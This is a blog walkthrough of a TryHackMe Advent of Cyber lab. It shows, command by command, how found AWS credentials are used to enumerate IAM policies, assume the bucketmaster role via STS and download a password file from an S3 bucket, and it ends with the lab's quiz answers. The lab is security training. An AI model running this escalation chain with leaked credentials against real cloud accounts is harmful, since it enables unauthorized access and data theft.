Skip to main content

THM | AoC 2025 | Day 23

· 6 min read

AoC 2025 | Day 23 Logo

Day-23: AWS Security - S3cret Santa

SUMMARY

We start out by verifying our AWS credentials as user sir.carrotbane and then enumerate IAM policies where we discover permissions to assume the bucketmaster role. Next, we assume this role via AWS STS, obtaining temporary credentials with S3 access.

We then enumerate the easter-secrets-123145 S3 bucket and download sensitive files using aws s3api, completing the privilege escalation and data exfiltration.

AoC 2025 | Day 23 Hero

AWS Security - S3cret Santa

STORYLINE

"An infiltrated elf agent discovered cloud credentials on Sir Carrotbane's desk and believes they may provide access to TBFC's cloud network."

Credentials and Access

AWS programmatic access is configured using an Access Key ID and Secret Access Key stored in the ~/.aws/credentials file. The AWS Security Token Service (STS) allows you to retrieve information about the configured user credentials.

You can verify your AWS CLI configuration by running the aws sts get-caller-identity command, which returns details including the user ID, AWS account number, and the user's Amazon Resource Name (ARN).

ubuntu@tryhackme:~$ aws sts get-caller-identity
{
"UserId": "kau1ve5g5ycfczxhrzjk",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/sir.carrotbane"
}
ubuntu@tryhackme:~$

IAM

Amazon Web Services' Identity and Access Management (IAM) controls user access to resources and their permitted actions.

Core Components

  • IAM Users | Individual identities with credentials and user-level permissions
  • IAM Groups | Collections of users for simplified bulk permission management
  • IAM Roles | Temporary identities for users, services, or external accounts
  • IAM Policies | JSON documents defining who (Principal) can do what (Action) on which resources (Resource) under what conditions (Condition)

IAM Policies

Policies are JSON documents that specify who (Principal) can perform what (Action) on which resources (Resource) under what conditions (Condition).

Users & Groups

Enumerating Users

ubuntu@tryhackme:~$ aws iam list-users
{
"Users": [
{
"Path": "/",
"UserName": "sir.carrotbane",
"UserId": "kau1ve5g5ycfczxhrzjk",
"Arn": "arn:aws:iam::123456789012:user/sir.carrotbane",
"CreateDate": "[REDACTED-TIME]"
}
]
}
ubuntu@tryhackme:~$

Enumerating User Groups

ubuntu@tryhackme:~$ aws iam list-groups-for-user --user-name sir.carrotbane
{
"Groups": []
}
ubuntu@tryhackme:~$

Policies

Enumerating User Policies

  • Inline policies are hard-coded directly into user profiles and are deleted when the identity is removed. Useful for one-off, identity-specific permissions.
  • Attached policies (also called managed policies) are reusable across multiple identities. They require only a single update to propagate changes to all identities that use them, making them more efficient for managing shared permissions.
Inline Policies
ubuntu@tryhackme:~$ aws iam list-user-policies --user-name sir.carrotbane
{
"PolicyNames": [
"SirCarrotbanePolicy"
]
}
ubuntu@tryhackme:~$
Attached Policies
ubuntu@tryhackme:~$ aws iam list-attached-user-policies --user-name sir.carrotbane
{
"AttachedPolicies": []
}
ubuntu@tryhackme:~$
Check on an inline Policy assigned to a User
ubuntu@tryhackme:~$ aws iam get-user-policy --policy-name SirCarrotbanePolicy --user-name sir.carrotbane
{
"UserName": "sir.carrotbane",
"PolicyName": "SirCarrotbanePolicy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListUsers",
"iam:ListGroups",
"iam:ListRoles",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedGroupPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetUserPolicy",
"iam:GetGroupPolicy",
"iam:GetRolePolicy",
"iam:GetUser",
"iam:GetGroup",
"iam:GetRole",
"iam:ListGroupsForUser",
"iam:ListUserPolicies",
"iam:ListGroupPolicies",
"iam:ListRolePolicies",
"sts:AssumeRole"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "ListIAMEntities"
}
]
}
}
ubuntu@tryhackme:~$

Roles

Enumerating Roles

ubuntu@tryhackme:~$ aws iam list-roles
{
"Roles": [
{
"Path": "/",
"RoleName": "bucketmaster",
"RoleId": "AROARZPUZDIKNISGMKDCI",
"Arn": "arn:aws:iam::123456789012:role/bucketmaster",
"CreateDate": "[REDACTED-TIME]",
"AssumeRolePolicyDocument": {
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/sir.carrotbane"
}
}
],
"Version": "2012-10-17"
},
"MaxSessionDuration": 3600
}
]
}
ubuntu@tryhackme:~$

Enumerate inline Policies assigned to a Role

ubuntu@tryhackme:~$ aws iam list-role-policies --role-name bucketmaster
{
"PolicyNames": [
"BucketMasterPolicy"
]
}
ubuntu@tryhackme:~$

Enumerate attached Policies assigned to a Role

ubuntu@tryhackme:~$ aws iam list-attached-role-policies --role-name bucketmaster
{
"AttachedPolicies": []
}
ubuntu@tryhackme:~$

Check on inline Policy assigned to a Role

ubuntu@tryhackme:~$ aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy
{
"RoleName": "bucketmaster",
"PolicyName": "BucketMasterPolicy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"s3:ListAllMyBuckets"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "ListAllBuckets"
},
{
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": [
"arn:aws:s3:::easter-secrets-123145",
"arn:aws:s3:::bunny-website-645341"
],
"Sid": "ListBuckets"
},
{
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::easter-secrets-123145/*",
"Sid": "GetObjectsFromEasterSecrets"
}
]
}
}
ubuntu@tryhackme:~$

Assuming Roles

Trigger Temporary Credential Generation

  • will ask STS, to generate a temporary set of credentials to assume the specified role
ubuntu@tryhackme:~$ aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC
{
"Credentials": {
"AccessKeyId": "ASIARZPUZDIKKJWDTODC",
"SecretAccessKey": "wR2WwE4b4G4yMdb48twzpBjIEDFXfjHumjI47M/O",
"SessionToken": "FQoGZXIvYXdzEBYaDFw8SfBBy/1yQucoMavFQyBCYGRHKK6Av31i/yLvtTdG7ujNanEzCJX35wrcTil+a+tcuLo3IbocJpzpBbJ+iMykZlLVU3LnI5tZbuBSXa9eihdJvmaMs14mxrLyedlcUuSVya+ww/AuPmXilZHmo9MR3zD0jPWvJBWC75u80kAMQcerXCYM9fXW8nIqv+9DfT8YSUntcvBoXq3dk8KlCbRbcuCZE9pYJfMdS6gmaGxbLBSWZDBNVUztdz54bR4XttouTcCJE9VlfUZtLniGkJRQ6/3MtZ+vxPEk8vzG1KIfFlxqeafohBOracHddK5CCjFRU+q62tRu1RJuRvs=",
"Expiration": "[REDACTED-TIME]"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROARZPUZDIKNISGMKDCI:TBFC",
"Arn": "arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC"
},
"PackedPolicySize": 6
}
ubuntu@tryhackme:~$

Setting the Temporary Credentials to Assume Role

ubuntu@tryhackme:~$ export AWS_ACCESS_KEY_ID="ASIARZPUZDIKKJWDTODC"
ubuntu@tryhackme:~$ export AWS_SECRET_ACCESS_KEY="wR2WwE4b4G4yMdb48twzpBjIEDFXfjHumjI47M/O"
ubuntu@tryhackme:~$ export AWS_SESSION_TOKEN="FQoGZXIvYXdzEBYaDFw8SfBBy/1yQucoMavFQyBCYGRHKK6Av31i/yLvtTdG7ujNanEzCJX35wrcTil+a+tcuLo3IbocJpzpBbJ+iMykZlLVU3LnI5tZbuBSXa9eihdJvmaMs14mxrLyedlcUuSVya+ww/AuPmXilZHmo9MR3zD0jPWvJBWC75u80kAMQcerXCYM9fXW8nIqv+9DfT8YSUntcvBoXq3dk8KlCbRbcuCZE9pYJfMdS6gmaGxbLBSWZDBNVUztdz54bR4XttouTcCJE9VlfUZtLniGkJRQ6/3MtZ+vxPEk8vzG1KIfFlxqeafohBOracHddK5CCjFRU+q62tRu1RJuRvs="
ubuntu@tryhackme:~$

Verify Assumed Role

ubuntu@tryhackme:~$ aws sts get-caller-identity
{
"UserId": "AROARZPUZDIKNISGMKDCI:TBFC",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC"
}
ubuntu@tryhackme:~$

S3 Buckets

Amazon S3 (Simple Storage Service) is a cloud-based object storage service provided by Amazon Web Services. It stores any type of data — including images, documents, logs, and backup files — in containers called "buckets," which function like cloud directories.

Enumerate available S3 buckets

ubuntu@tryhackme:~$ aws s3api list-buckets
{
"Buckets": [
{
"Name": "bunny-website-645341",
"CreationDate": "[REDACTED-TIME]"
},
{
"Name": "easter-secrets-123145",
"CreationDate": "[REDACTED-TIME]"
}
],
"Owner": {
"DisplayName": "webfile",
"ID": "bcaf1ffd86f41161ca5fb16fd081034f"
},
"Prefix": null
}
ubuntu@tryhackme:~$

Enumerate a specific bucket

ubuntu@tryhackme:~$ aws s3api list-objects --bucket easter-secrets-123145
{
"Contents": [
{
"Key": "cloud_password.txt",
"LastModified": "[REDACTED-TIME]",
"ETag": "\"c63e1474bf79a91ef95a1e6c8305a304\"",
"Size": 29,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
},
{
"Key": "groceries.txt",
"LastModified": "[REDACTED-TIME]",
"ETag": "\"44a93e970be00ed62b8742f42c8600d8\"",
"Size": 28,
"StorageClass": "STANDARD",
"Owner": {
"DisplayName": "webfile",
"ID": "75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a"
}
}
],
"RequestCharged": null,
"Prefix": null
}
ubuntu@tryhackme:~$

Transfer (Download) object from Bucket to Local Machine

ubuntu@tryhackme:~$ aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
{
"AcceptRanges": "bytes",
"LastModified": "[REDACTED-TIME]",
"ContentLength": 29,
"ETag": "\"c63e1474bf79a91ef95a1e6c8305a304\"",
"ContentType": "application/octet-stream",
"Metadata": {}
}
ubuntu@tryhackme:~$ ls -hla
[...SNIP...]
-rw-r--r-- 1 ubuntu ubuntu [REDACTED-TIME] cloud_password.txt
[...SNIP...]
ubuntu@tryhackme:~$ cat cloud_password.txt
[REDACTED-FLAG]
ubuntu@tryhackme:~$

Q & A

Question-1: Run aws sts get-caller-identity. What is the number shown for the "Account" parameter?

123456789012

Question-2: What IAM component is used to describe the permissions to be assigned to a user or a group?

Policy

Question-3: What is the name of the policy assigned to sir.carrotbane?

SirCarrotbanePolicy

Question-4: Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?

ListAllMyBuckets

Question-5: What are the contents of the cloud_password.txt file?

[REDACTED-FLAG]